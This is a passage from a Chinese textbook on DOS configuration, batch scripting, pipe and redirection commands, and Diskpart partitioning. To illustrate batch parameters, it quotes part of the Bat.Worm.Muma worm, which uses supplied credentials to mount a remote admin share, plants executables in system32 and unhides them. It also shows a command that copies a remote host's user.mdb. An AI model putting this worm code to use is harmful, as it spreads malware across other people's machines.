DEVICE=C:\DOS\HIMEM.SYS

DEVICE=C:\DOS\EMM386.EXE RAM

注意

EMM386.EXE必须要求先安装HIMEM.SYS，因而必须确保安装HIMEM.SYS的配置命令在EMM386.EXE之前。

5.DOS＝HIGH，UMB

一般情况下，需要在Config.sys文件中加入这条命令，以将DOS的系统文件移入高端内存，空出更多的基本内存给其他软件使用。但如果没有安装EMM386.EXE，UMB，则这条指令将是无效的。

如下是一个典型的Config.sys文件内容：

DEVICE=C:\DOS\HIMEM.SYS; 加载 Himem, 扩展内存管理器

DEVICE=C:\DOS\EMM386.EXE NOEMS; 高端内存并入扩展内存的工具

BUFFERS=15,0; 缓冲区数目

FILES=50; 同时打开的文件数

DOS=UMB; 系统把 DOS 本身放在什么地方

LASTDRIVE=Z; 驱动器盘符最大可以用哪个

DOS=HIGH 

DEVICEHIGH=C:\DOS\ATAPI_CD.SYS /D:MSCD000 /I:0; 加载光驱驱动程序

STACKS=9,256

此外，在Config.sys中还可以进行菜单式多重任务选择的配置，用于不同任务的选择，比如玩游戏、设置虚拟磁盘等，不过这些应用在目前已经不常用了，这里不再赘述。

4.2　批处理与管道

批处理（Batch）是一种简化的脚本语言，应用于DOS和Windows系统中，是由DOS或Windows系统内嵌的命令解释器（通常是COMMAND.COM或CMD.EXE）解释运行的。

批处理文件具有.bat或.cmd的扩展名，最简单的例子是逐行书写在命令行中会用到的各种命令。更复杂的情况是需要使用if、for、goto等命令控制程序的运行过程（如同C、Basic等高级语言一样），此外，利用外部程序是必要的，包括系统本身提供的外部命令和第三方提供的工具或软件，而管道命令就是将一个命令的输出作为另一个命令的输入。

4.2.1　批处理命令实例

批处理程序虽然是在命令行环境中运行，但不仅仅能使用命令行软件，任何32位的Windows程序都可以放在批处理文件中运行。

例1：先给出一个最简单的批处理脚本，将下面的几行命令保存为name.bat并执行这些命令。（以后文中只给出代码，保存和执行方式类似）

ping sz.tencent.com > a.txt 

ping sz1.tencent.com >> a.txt 

ping sz2.tencent.com >> a.txt 

ping sz3.tencent.com >> a.txt 

ping sz4.tencent.com >> a.txt 

ping sz5.tencent.com >> a.txt 

ping sz6.tencent.com >> a.txt 

ping sz7.tencent.com >> a.txt 

exit

执行这个批处理文件之后，可以在当前磁盘中建立一个名为a.txt的文件，用文件中记录的信息可以迅速找到速度最快的QQ服务器，从而远离“从服务器中转”这一过程。即把执行前面的命令得到的内容放到后面所给的地方，“>>”的作用与“>”的相同，主要区别是把结果追加到由前一行命令得出的结果的后面，具体说是下一行，而前面一行命令得出的结果将保留，从而使这个a.txt文件越来越大。另外，这个批处理文件还可以和其他命令结合，执行后直接显示速度最快的服务器IP。

例2：再给出一个已经过时的例子（a.bat），具体的文件内容如下。

@echo off 

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

a.bat

这里使用了QQ的默认安装地址，默认批处理文件名为a.bat，也可以根据情况自行修改。

在这个脚本中使用了if命令，这使得它可以达到适时判断和删除广告图片的效果，只需不关闭命令执行后的DOS窗口，不按“Ctrl+C”组合键强行终止命令，它将一直监视是否有广告图片（QQ也在不断查看自己的广告是否被删除）。

例3：使用批处理脚本查是否中了冰河。

具体的脚本内容如下：

@echo off 

netstat -a -n > a.txt 

type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" 

del a.txt 

pause & exit 

这里利用netstat命令检查所有的网络端口状态，只需要清楚常见木马所使用的端口，就可以判断出是否被人种了冰河。但这不是确定的，因为冰河默认的端口为7626，完全可以被人修改，这里介绍的只是方法和思路。只需将方法和思路稍做改动，就可以检查其他木马的脚本了，再改动一下，并加入参数、端口及信息列表文件，就可自动检测所有木马的脚本了。

例4：借批处理自动清除系统，具体的脚本代码如下。

@echo off 

if exist c:\windows\temp\*.* del c:\windows\temp\*.* 

if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* 

if exist c:\windows\History\*.* del c:\windows\History\*.* 

if exist c:\windows\recent\*.* del c:\windows\recent\*.* 

将上述脚本内容保存到Autoexec.bat文件中，每次开机时就把系统垃圾给自动删除了。

注意

DOS不支持长文件名，所以就出现了Tempor~1这个文件，用户可根据自己的实际情况进行改动，使其符合自己的要求。

4.2.2　批处理中的常用命令

批处理文件常用的有@、echo、call、goto、if、choice、pause、for、shift等命令，下面是部分命令介绍。

1.@

这个符号是Email的必备符号，作用是让执行窗口中不显示它后面这一行的命令本身。即行首有了它，这一行的命令就不显示了。@命令使用很简单，只需把它放在一行命令的最前面就可以了。

2.echo

中文意思为“反馈”“回显”。它其实是一个开关命令，就是说它只有两种状态：打开和关闭，即echo on和echo off命令。直接执行echo命令将显示当前echo命令状态（off或on），执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。

3.：：

：：是一个注释命令，在批处理脚本中和REM命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*……*/类似。

4.pause

中文为“暂停”的意思，作用是让当前程序进程暂停一下，并显示一行提示信息：“请按任意键继续...”。

5.：和goto

goto是个跳转命令，“：”是一个标签。当程序运行到goto时，将自动跳转到：定义的部分去执行了。goto命令也经常和if命令结合使用。goto命令还可用于提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。

6.%

百分号严格说是算不上命令的，它只是批处理中的参数而已，但千万别小看了它，少了它批处理的功能大大减少了。

net use \\%1\ipc$ %3 /u:"%2"

copy 11.BAT \\%1\admin$\system32 /y

copy 13.BAT \\%1\admin$\system32 /y

copy ipc2.BAT \\%1\admin$\system32 /y

copy NWZI.EXE \\%1\admin$\system32 /y

attrib \\%1\admin$\system32\10.bat -r -h -s

上述代码是Bat.Worm.Muma病毒中的一部分，%1代表IP，2%代表username，3%代表password。执行形式为：脚本文件名参数1参数2……。假设这个脚本被保存为a.bat，则执行形式为：a IP username password。这里IP、username、password是3个参数，缺一不可（这是因为程序不能正确运行，并不是因为少了参数语法就不对）。在脚本执行过程中，脚本就自动用3个参数依次代换1%、2%和3%，这样，就达到了灵活运用的目的。

7.if

if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。

（1）输入判断

if "%1"=="" goto usage 

if "%1"=="/?" goto usage 

if "%1"=="help" goto usage 

上述代码用于判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/？或help，也跳转到usage。还可以用否定形式来表示“不等于”，例如：if not"%1"==""goto Usage，它表示如果输入参数不为空，就跳转到usage。

（2）存在判断

在语句“if exist C：\Progra~1\Tencent\AD\*.gif del C：\Progra~1\Tencent\AD\*.gif”中，如果存在那些gif文件，就删除这些文件。但这里的条件判断是用来判断存在的，当然也可以用来判断不存在，例如“如果不存在那些gif文件，则退出脚本”：if not exist C：\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。

（3）结果判断

masm %1.asm 

if errorlevel 1 pause & edit %1.asm 

link %1.obj 

上述语句先对源代码进行汇编，如果失败，则暂停显示错误信息，并在按任意键后自动进入编辑界面，否则用link程序连接生成的obj文件。这种用法是先判断前一个命令执行后的返回码，如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause&edit%1.asm部分）。另外，这种用法也可以表示否定。

用否定形式仍表达上面三句的意思，代码变为：

masm %1.asm 

if not errorlevel 1 link %1.obj 

pause & edit %1.asm 

其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，masm执行成功）。这里是否，则加not，错误码到底用0还是1，值得考虑，一旦搭配不成功，脚本肯定出错。这种用errorlevel判断结果的方法是if命令最难的用法，但如果不会用errorlevel来判断返回码，而要达到相同的效果，就必须用else来表示“否则”的操作。那么以上代码必须变成：

masm %1.asm 

if exist %1.obj link %1.obj 

else pause & edit %1.asm

关于if命令的这三种用法理解起来很简单，但应用时不一定会那么得心应手，主要是熟练程度的问题。

8.call

在批处理脚本中，call命令用来从一个批处理脚本中调用另一个批处理脚本。

看下面的例子（默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat）：

start.bat ：   ……  

CALL 10.BAT 0  ……  

10.bat ：……  

ECHO %IPA%.%1 >HFIND.TMP  ……  

CALL ipc.bat IPCFind.txt 

ipc.bat ：  

for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k 

从上述两个脚本可以得到信息：脚本调用可以灵活运用、循环运用、重复运用。脚本调用可以使用参数。

在start.bat中，10.bat后面跟了参数0，执行时的效果其实就是把10.bat中的参数%1用0代替。在start.bat中，ipc.bat后面跟了参数ipcfind.txt（一个文件，也可以作为参数），执行时的效果就是用ipc.bat中每一行的3个变量，对应代替ipc.bat中的%%i、%%j和%%k。这里的参数调用非常灵活，在使用时需要好好体会。

9.find

这是一个搜索命令，用来在文件中搜索特定字符串，通常也作为条件判断的铺垫程序。这个命令单独使用的情况在批处理中比较少见，没什么实际意义。

10.REM

REM命令的作用是在批处理文件Autoexec.bat或系统配置文件Config.sys中注入注释，当执行此命令时，注释信息将显示在屏幕上，能增加文件的可读性。REM命令可以用“：：”来代替。另外，REM命令还可以用于屏蔽命令。

注意

REM命令不会在屏幕上显示注释，如果在屏幕上显示注释，则必须在批处理文件或系统配置文件中使用echo on命令。在批处理文件中不能使用重定向符（如“<”和“>”），也不能使用管道字符“|”。

11.shift

该命令的作用是更改批处理文件中批处理参数的位置。shift命令通过将每个参数复制到前一个参数，来改变可替换参数%0~%9的值，即%1的值被复制到%0，%2的值被复制到%1等。该命令对用一系列参数完成同样操作的批处理文件很有用。

4.2.3　常用的管道命令

在批处理文件中常常用到管道命令，常见的管道命令如下。

1.|

当查看一个命令的帮助时，如果帮助信息比较长，一屏幕显示不完，DOS并不给时间让用户看完一屏幕再翻到另一屏幕，而是直接显示到帮助信息的最后。如果在提示符下运行help命令，就会看到当前DOS版本所支持的所有非隐含命令，但只能看到最后的那些命令，前面的早就一闪而过了。

此时如果使用“help|more”命令，就会发现显示满一屏幕后将自动暂停，等候继续显示其他信息。当按下“回车键”时，将变成一个一个地出现；按下“空格”键时一屏幕一屏幕显示，直到全部显示完为止；按其他键自动停止返回DOS。

为什么会出现上述现象？主要是因为结合了管道命令|和DOS命令more来共同实现的。这里先简单介绍一下help命令和more命令，对理解|命令的用法有很大帮助。

·help命令：直接在DOS提示符下输入help命令，结果是让DOS显示其所支持的所有非隐含命令，而在其他地方用help命令（如输入net help），则是显示net命令的帮助信息。

·more命令：利用more命令可以达到逐屏或逐行显示输出的效果，而type命令只能一次把输出显示完，最后的结果就是只能看到末尾部分。

2.>、>>

这两个命令的效果从本质上都是一样的，都是输出重定向命令，即把前面命令的输出写入到一个文件中。这两个命令的区别在于：“>”会在清除掉原有文件中的内容之后，把新的内容写入原文件；而“>>”只会另起一行追加新的内容到原文件中，且不会改动其中的原有内容。

echo @echo off > a.bat 

echo echo This is a pipeline command example. >> a.bat 

echo echo It is very easy? >> a.bat 

echo echo Believe your self! >> a.bat 

echo pause >> a.bat 

echo exit >> a.bat 

依次在DOS提示符下输入上述各行命令，输入每一行后按下回车键，即可在当前目录下生成一个a.bat文件，其中的内容如下：

@echo off 

echo This is a pipeline command example.

echo It is very easy?

echo Believe your self!

pause

exit

从上述实例中可以得到的信息：可以在DOS提示符下利用echo命令的写入功能编辑一个文本，而不需要专门的文本编辑工具；如果只用>命令来完成上述操作，最后也会生成一个a.bat，但其中的内容就只剩下最后一行exit了。因此，>和>>一般都联合起来用，除非重定向的输出只有一行，就可以只用>了。

3.<、>&、<&

这三个命令也是管道命令，但它们一般不常用，具体的含义如下：

·<：输入重定向命令，从文件中读入命令输入，而不是从键盘中读入。

·>&：将一个句柄的输出写入到另一个句柄的输入中。

·<&：刚好和>&相反，从一个句柄读取输入并将其写入到另一个句柄输出中。

组合命令（&、&&、||）主要用于把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的，而且应用非常广泛。它的格式很简单，既然现在已经成了一个文件了，那么多个命令就可以用组合命令连接起来放在同一行。

4.&

是最简单的一个组合命令，作用是用来连接n个DOS命令，并把这些命令按顺序执行，而不管是否有命令执行失败。

如“copy a.txt b.txt/y&del a.txt”这句和move a.txt b.txt的效果一样，只不过前者分了两步来进行。需要注意的是：这里&两边的命令是有执行顺序的，从前往后执行。

5.&&

&&命令可以把它前后两个命令组合起来当一个命令使用，与&命令区别在于，它在从前往后依次执行被它连接的几个命令时，会自动判断是否有某个命令执行出错，一旦发现出错后，将不继续执行后面剩下的命令。这就为自动化完成一些任务提供了可能。

如在“dir文件：//1%/www/user.mdb&&copy文件：//1%/www/user.mdb e：\backup\www”中，如果远程主机存在user.mdb，则copy到本地e：\backup\www，如果不存在，则不执行copy。其实它和“if exist文件：//1%/www/user.mdb copy文件：//1%/www/user.mdb e：\backup\www”语句的作用是一样的。通过“dir c：\>a.txt&&dir d：\>>a.txt”语句可以把C盘和D盘的文件和文件夹列出到a.txt文件中。

6.||

这个命令的用法和&&几乎一样，但作用刚好相反，利用这种方法在执行多条命令时，当遇到一个执行正确的命令时就退出此命令组合，不再继续执行下面的命令。

@echo off 

dir s*.exe || echo Didn't exist file s*.exe & pause & exit 

上述语句可以实现查看当前目录下是否有以s开头的exe文件，如果有则退出。这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停可以看到echo输出的内容，否则窗口一闪而过。

4.2.4　批处理的实例应用

批处理（.bat）文件可以用文本编辑编辑、建立、修改、打开，把DOS命令一个接一个地输进去，并将该文件的后缀保存修改为.bat，此时，用户只需双击此文件，即可执行该文件中的命令。

1.IF-EXIST

用if-exist命令制作批处理文件的具体操作步骤如下：

步骤1：先用记事本在C：\建立一个test1.bat批处理文件，文件内容如下。

@echo off 

IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT 

IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist 

步骤2：使用“C：\>test1.bat”语句运行test1.bat批处理文件，如果C：\中存在AUTO EXEC.BAT文件，则其内容就会被显示出来，如果不存在，则批处理文件就会提示用户该文件不存在。

步骤3：再建立一个test2.bat文件，文件内容如下。

@ECHO OFF 

IF EXIST \%1 TYPE \%1 

IF NOT EXIST \%1 ECHO \%1 does not exist 

提示

代码IF EXIST用来测试文件是否存在，格式为：IF EXIST[路径+文件名]命令。test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9（%0表示test2命令本身），这有点像编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。

步骤4：使用“C：\>test2 AUTOEXEC.BAT”语句运行test2.bat批处理文件，如果C：\中存在AUTOEXEC.BAT文件，则其内容就会被显示出来，如果不存在，则批处理文件就会提示用户该文件不存在。

步骤5：在“记事本”中建立一个名为TEST3.BAT的文件，具体的文件内容如下。

@echo off

IF "%1" == "A" ECHO XIAO 

IF "%2" == "B" ECHO TIAN 

IF "%3" == "C" ECHO XIN 

步骤6：如果运行“C：\>TEST3 A B C”，则屏幕上会显示XIAO TIAN XIN；如果运行“C：\>TEST3 A B”，则屏幕上会显示“XIAO TIAN”。在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。

2.IF-ERRORLEVEL

运用if-errorlevel制作批处理文件的具体操作步骤如下：

步骤1：在“记事本”中新建一个名为TEST4.BAT的文件之后，在其中输入如下代码。

@ECHO OFF 

XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO  文件复制失败  

IF ERRORLEVEL 0 ECHO  成功复制文件  

步骤2：在命令提示符中输入“C：\>TEST4”命令执行该文件。

步骤3：如果文件复制成功，屏幕就会显示“成功复制文件”信息提示，否则，就会显示“文件复制失败”信息提示。

IF ERRORLEVEL可用来测试其上一个DOS命令的返回值，但仅只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此，下面的批处理文件是错误的：

@ECHO OFF 

XCOPY C:\AUTOEXEC.BAT D:\ 

IF ERRORLEVEL 0 ECHO  成功复制文件  

IF ERRORLEVEL 1 ECHO  未找到复制文件  

IF ERRORLEVEL 2 ECHO  用户通过 ctrl+c 中止复制操作  

IF ERRORLEVEL 3 ECHO  预置错误阻止文件复制操作  

IF ERRORLEVEL 4 ECHO  复制过程中写盘错误

步骤4：无论复制是否成功，用户均可使用“Ctrl+C”组合键中止复制操作。

如下是几个常用命令的返回值及其代表的意义：

（1）backup

0：备份成功；

1：未找到备份文件；

2：文件共享冲突阻止备份完成；

3：用户用“Ctrl+C”组合键中止备份；

4：由于致命的错误使备份操作中止。

（2）diskcomp

0：盘比较相同；

1：盘比较不同；

2：用户通过“Ctrl+C”组合键中止比较操作；

3：由于致命的错误使比较操作中止；

4：预置错误中止比较。

（3）diskcopy

0：盘复制操作成功；

1：非致命盘读/写错；

2：用户通过“Ctrl+C”组合键结束复制操作；

3：因致命的处理错误使盘复制中止；

4：预置错误阻止复制操作。

（4）format

0：格式化成功；

3：通过“Ctrl+C”组合键中止格式化处理；

4：因致命的处理错误使格式化中止；

5：在提示”proceed with format（y/n）？”下用户键入n结束。

（5）xcopy

0：成功复制文件；

1：未找到复制文件；

2：用户通过“Ctrl+C”组合键中止复制操作；

4：预置错误阻止文件复制操作；

5：复制过程中写盘错误。

3.IF STRING1==STRING2

在记事本中新建文件TEST5.BAT之后，再在其中输入如下代码。

@echo off 

IF "%1" == "A" formAT A: 

此时执行“C：\>TEST5 A”命令，即可在屏幕上出现是否将A：盘格式化的内容。

为了防止参数为空的情况，一般会将字符串用双引号（或其他符号，注意不能使用保留符号）括起来。如：if[%1]==[A]或者if%1*==A*

4.goto

在记事本中新建文件TEST6.BAT之后，在其中输入如下代码。

@ECHO OFF 

IF EXIST C:\AUTOEXEC.BAT GOTO _COPY 

GOTO _DONE

:_COPY 

COPY C:\AUTOEXEC.BAT D:\ 

:_DONE 

注意

在输入代码时，标号前是ASCII字符的冒号“：”，冒号与标号之间不能有空格。标号的命名规则与文件名的命名规则相同。DOS支持最长8位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。

5.FOR

在记事本中新建文件TEST7.BAT之后，在其中输入如下代码：

@ECHO OFF 

FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C 

此时运行“C：>TEST7”命令，即可在屏幕上将C：盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。

4.3　对硬盘进行分区

计算机中的系统文件、应用软件以及文档等都是以文档形式存放在计算机中的硬盘上，所以要合理地设置硬盘分区大小，并根据需要随时管理硬盘。

4.3.1　硬盘分区相关的知识

硬盘分区就是对硬盘的物理存储进行逻辑上的划分，将大容量的硬盘分成多个大小不同的逻辑区间，如果不进行分区，在默认情况下将只有一个分区（即C盘）。在这种情况下虽然可以照常使用，但给管理和维护计算机带来很多不便。

所谓分区，就是硬盘上建立的用作单独存储区域的部分，它分为主分区和扩充分区。主分区用来存放操作系统的引导记录（在该主分区的第一扇区）和操作系统文件；扩充分区一般用来存放数据和应用程序。

一个硬盘可以被分为1~4个分区，最多能有4个主分区。如果有扩充分区，则最多可以有3个主分区。一般只有一个扩充分区，它可以被划分成多个逻辑驱动器。用户必须显式地建立主分区，但不必显式地建立扩充分区。在建立第一个非主分区逻辑驱动器时，如果隐式地建立了一个扩充分区，则当增加逻辑驱动器时，即可向该扩充分区中添加逻辑驱动器。

1.主分区、活动分区、扩展分区、逻辑盘和盘符

主分区也称为主磁盘分区，和扩展分区、逻辑分区一样，是一种分区类型。在主分区中不能再划分其他类型的分区，因此，每个主分区都相当于一个逻辑磁盘（在这一点上主分区和逻辑分区很相似，但主分区是直接在硬盘上划分的，逻辑分区则必须建立于扩展分区中）。

·活动分区：就是计算机启动时由哪个区启动，不设置活动分区计算机就无法启动。在DOS分区中只有基本DOS分区可设置为活动分区，逻辑分区是不能设置为活动分区的（建议把C盘设置为活动分区）。

·扩展分区：分出主分区后，其余的部分可以分成扩展分区，一般是剩下的部分全部分成扩展分区，也可以不全分，但剩下部分就浪费了。

·逻辑盘：扩展分区不能直接使用，需要以逻辑分区的方式来使用，因此，扩展分区可分成若干逻辑分区。

·盘符：盘符是DOS、Windows系统对于磁盘存储设备的标识符。一般使用26个英文字符加上一个冒号：来标识。早期PC一般装有两个软盘驱动器，因此“A：”和“B：”两个盘符用来表示软驱，而硬盘设备就是从字母C：开始一直到Z：。

2.硬盘分区原因

随着硬件技术的快速发展，硬盘容量也越来越大，计算机管理的灵活性遇到严重挑战，而对硬盘进行分区可以很好地解决这个问题。

对硬盘分区的理由体现在如下方面：

·减少硬盘空间的浪费

一般情况下，对于同一种分区格式，分区越大，簇的大小就越大。保存任意大小的文件，至少要使用一个簇。所以，同样大小的文件保存在大分区上，要比保存在小分区上浪费空间。

·便于文件的分类管理

将不同类型、不同用途的文件，存放在硬盘分区后形成的不同的逻辑盘中，便于分类管理，即使误操作或重装系统，也不会导致整个硬盘上的数据全部丢失。

·有利于病毒的防治

硬盘多分区、多逻辑盘结构有利于病毒的防治和清除。对装有某些重要的文件的逻辑盘可以设置为只读属性，减少文件型病毒侵犯的机会。即使遭到黑客的入侵，有些病毒只攻击C盘，因此可以挽救其他逻辑盘中的数据，从而减少损失。

3.硬盘分区的原则

按照硬盘容量的大小和分区个数，硬盘就有很多种分区方案，可以把硬盘作为一个分区来使用，也可以把硬盘分成两个区、三个区来使用，每个分区的容量大小可以相同也可以不相同。

硬盘分区需要遵循一定的原则，具体表现如下：

·方便性

对磁盘分区的初衷是方便对磁盘进行管理，分区过多或过少都不便于对磁盘信息进行管理。分区分得太少，在对磁盘进行分类时就显得比较麻烦了。

·实用性

不同的用户对硬盘信息存储要求也不同，比如进行视频编辑、图像处理等工作的用户，就需要划分出一个空间比较大的分区用来存放数据，以便有足够空间来保存图像和视频中大量的临时文件。

·安全性

数据安全一直是计算机用户担心的问题，其实分区合理与否，也会对安全产生一定影响。如果把硬盘作为一个分区，其数据安全就没有保障，要是系统文件出现错误或受到病毒攻击，则整个磁盘中的数据将会丢失。所以分区的大小应该合理化，最好分成容易记的整数，如果分区随意，在遇到特殊故障（如遇到分区表被破坏）要想手工恢复时，由于难以确认原来分区的大小，就无形中增加了恢复的难度。

4.3.2　利用Diskpart进行分区

利用Diskpart可实现对硬盘的分区管理，包括创建分区、删除分区、合并（扩展）分区，而且设置分区后不用重启计算机也能生效。Diskpart启用“磁盘管理”管理单元所支持的操作的超集。“磁盘管理”单元禁止在无意中执行可能会导致数据丢失的操作。建议用户谨慎使用Diskpart实用工具，因为Diskpart支持显式控制分区和卷。

1.命令行工具Diskpart

Diskpart.exe是一种文本模式命令解释程序，允许用户通过使用脚本或从命令提示符直接输入来管理对象（磁盘、分区或卷）。在磁盘、分区或卷上使用Diskpart.exe命令之前，必须先列出再选中要给予其焦点的对象。当某个对象具有焦点时，键入的任何Diskpart.exe命令都会作用到该对象。

Diskpart还可以支持命令参数，命令格式为：Disk[/add|/delete][device_naMe|drive_naMe|partition_naMe][size]，如果不带任何参数，将会启动Diskpart的交互式字符界面。

·/add：创建新的分区

·/delete：删除现有的分区

·device_naMe：要创建或者删除分区的设备，设备的名称可以从map命令输出中获得。

·drive_naMe：以驱动器号表示的待删除的分区，只与/delete同时使用。

·partition_naMe：以分区名称表示的待删除的分区，可代替drive_naMe，但只与/delete同时使用。

·size：要创建分区的大小，以兆字节（MB）表示，只与/add同时使用。

在Windows 7系统中启动Diskpart.exe方法很简单，在“命令提示符”窗口中运行“Diskpart”命令，即可启动Diskpart.exe工具，如图4-1所示。

Diskpart.exe几乎支持所有Windows 7的特性，包括常用的基本磁盘、从Windows 2000中引入动态磁盘等，所支持的命令页比较复杂，稍有不慎就会造成数据的破坏，因此，一定要在有把握的基础上进行操作。

下面简单讲述一下Diskpart.exe所支持的命令。

·Select Disk

该命令用于指定磁盘，并将焦点转移到该磁盘，命令参数为：Select Disk=[磁盘编号]。如果没有指定磁盘编号，Select命令就列出当前具有焦点的磁盘（带*号），磁盘的编号从0开始，如果有多个磁盘，则磁盘的编号为0、1、……如果不清楚系统里硬盘的情况，可以使用List Disk命令来查看计算机上所有的磁盘编号，如图4-2所示。

图4-1　启动Diskpart.exe文件

图4-2　查看磁盘编号

例如：要把焦点移到物理硬盘0上，只需在命令提示符“DISKPART>”后面运行“Select Disk=0”命令即可，如图4-3所示。

·Select Partition

选择指定分区并给予其焦点，其命令参数为Select Partition=[{分区编号|驱动器编号}]，分区编号是从1开始的，编号的顺序依次是主分区、扩展分区、逻辑磁盘。如果未指定分区，select命令就是列出具有焦点的当前分区（带有*号），使用list partition命令，可以查看当前磁盘上所有的分区的编号，但是必须先用Select Disk命令选中某个磁盘，如图4-4所示。

图4-3　转移焦点

图4-4　查看分区编号

选择某个对象时，焦点一直停留在该对象上，直到选中不同的对象。例如，如果在磁盘0上设置了焦点，并选择磁盘1上的分区2，焦点就从磁盘0转移到磁盘1上的分区2，有些命令会自动更改焦点。例如要创建新分区，焦点就自动转移到新分区上。

·Create Partition Primary

创建分区的顺序为先创建主分区，再创建扩展分区，最后创建逻辑磁盘。创建主分区使用Create partition Primary命令，在当前磁盘上创建一个主分区之后，焦点自动移动到新建的分区上，该分区不接受驱动器号，必须使用assign命令为该分区分配一个驱动器号。

该命令常用的参数格式为Create Partition Primary[size=n][offset=n]，其中size=n代表分区的大小，如果没有给出该参数，则分区将持续到当前区域中没有可用的空间为止。分区大小是按柱面对齐的，分区大小会自动舍入到最近柱面的边界，如指定一个500 MB的分区，分区将自动舍入为504 MB。Offset=n是指创建分区的字节偏移量，如果没有给出偏移量是按柱面对齐的，偏移量会自动舍入到最近柱面的边界，如定义偏移量为27 MB，柱面为8 MB，偏移量会自动舍入为24 MB。

·Create Partition Extended

该命令可以用于创建分区，在当前磁盘上创建扩展选区。创建分区以后，焦点就会自动转移到新建的分区上，每个磁盘上只能创建一个扩展分区。如果试图在另一个扩展分区内创建扩展分区，该命令失效。

该命令常用的参数格式为Create Partition Extended[size=n][offset=n]，其含义和Create Partition Primary命令是一致的。

·Create Partition Logical

使用该命令可以在扩展分区里创建逻辑磁盘，创建分区之后，焦点自动转移到新建的逻辑驱动器上。必须在创建逻辑驱动器之前创建扩展分区。

该命令的常用参数格式为Create Partition Logical[size=n][offset=n]。

·Delete Partition

使用该命令可以删除带有焦点的分区，不能删除系统分区、启动分区或任何包含活动页面的文件或者故障转储的分区。

·Active

该命令的作用是设置活动分区，将具有焦点的分区标为活动状态，这样就可以通知BOIS该分区是有效的系统分区，该命令没有参数，所以使用该命令时一定要小心。Diskpart只验证分区有足够空间来包含操作系统的启动文件，Diskpart不检查分区的内容，如果误将某个分区标为“active”，并且该分区不包含操作系统的启动文件，则计算机就有可能无法启动。

2.使用系统安装盘自带的工具进行分区

在Windows 2000/XP/Server 2003/7系统安装光盘中集成了中文界面的分区程序DISKPART，通过该程序可不事先给磁盘分区，而在安装过程中再对硬盘进行分区。

另外，这个分区工具还可以单独使用，具体的操作步骤如下：

步骤1：启动计算机并按“Delete”键进入BIOS设置，将第一启动设置为“CD-ROM”之后，将Windows XP安装盘放入到光驱，光盘引导的安装界面如图4-5所示。

步骤2：根据屏幕显示的提示操作，安装程序将会扫描系统硬件，此过程大致需要几分钟时间，扫描完成后将进行安装许可协议界面，如图4-6所示。

图4-5　系统安装界面

图4-6　安装许可协议界面

步骤3：按下“F8”键接受许可协议，即可进入选择安装系统项目界面，如图4-7所示。根据提示信息按下“C”键，即可进入创建新的分区的界面，在分区大小的位置输入分区容量（单位为MB），如图4-8所示。

步骤4：在设置完毕之后，将光标移动到“未划分的空间”选项上，根据提示继续划分新的分区，如图4-9所示。如果在分区过程中需要删除某个分区，只需将光标移动到该分区上之后，按下“D”键，即可将该分区删除。

图4-7　选择安装系统项目界面

图4-8　设置分区大小界面

步骤5：在分区创建完毕之后，将光标移动到要安装操作系统的分区上，即可出现格式化分区的界面，如图4-10所示。根据需要选择一种文件系统来格式化系统分区，完成以后将复制系统安装文件进行系统的安装。

图4-9　继续划分分区

图4-10　选择格式化分区方式

3.在命令符窗口中进行分区

除使用Windows系统安装盘中自带的分区工具进行分区外，也可以在命令提示符中对硬盘进行重新分区。

具体的操作步骤如下：

步骤1：在“命令提示符”窗口中运行“Diskpart”命令，即可启动Diskpart.exe工具，如图4-11所示。

步骤2：因为只有一个硬盘，所以就不需要使用list disk命令来查看磁盘的情况了，可以直接选择第一个硬盘（在DISKPART>后面输入“Select Disk=0”命令选中这个硬盘），如图4-12所示。

步骤3：在DISKPART>后面运行“List partition”命令，即可查看选中硬盘中的分区信息，如图4-13所示。

图4-11　启动Diskpart.exe文件

图4-12　选中硬盘

步骤4：要将逻辑分区分成两个逻辑分区，可以先删除该分区，再重新创建分区。在DISKPART>后面运行“select part”命令，即可选中分区3，如图4-14所示。

图4-13　查看硬盘中分区的信息

图4-14　选中分区3

步骤5：在DISKPART>后面运行“delete part”命令，即可删除分区3，如图4-15所示。

步骤6：再次输入“list partition”命令，即可看到删除分区后的硬盘中的分区信息，如图4-16所示。

图4-15　删除分区

图4-16　查看删除后的分区信息

步骤7：再次输入“create partition logical size=1000”命令，即可创建一个大小为1000 MB的扩展分区，如图4-17所示。

步骤8：在其中输入“list partition”命令，即可看到分区后硬盘中的分区信息，如图4-18所示。

图4-17　设置分区大小

图4-18　查看分区情况

步骤9：再次输入“create partition logical”命令，即可把剩下的空间分配给另一个分区，如图4-19所示。

步骤10：在其中输入“list partition”命令，即可看到分区后的硬盘中的分区信息，如图4-20所示。

图4-19　继续划分分区

图4-20　查看划分完毕后的分区信息

步骤11：在划分完毕之后，再在DISKPART>后面运行“Select Disk=0”命令，在第一个硬盘上设置焦点并运行“Detail Disk”命令，即可显示所选硬盘的详细分区信息，如图4-21所示。

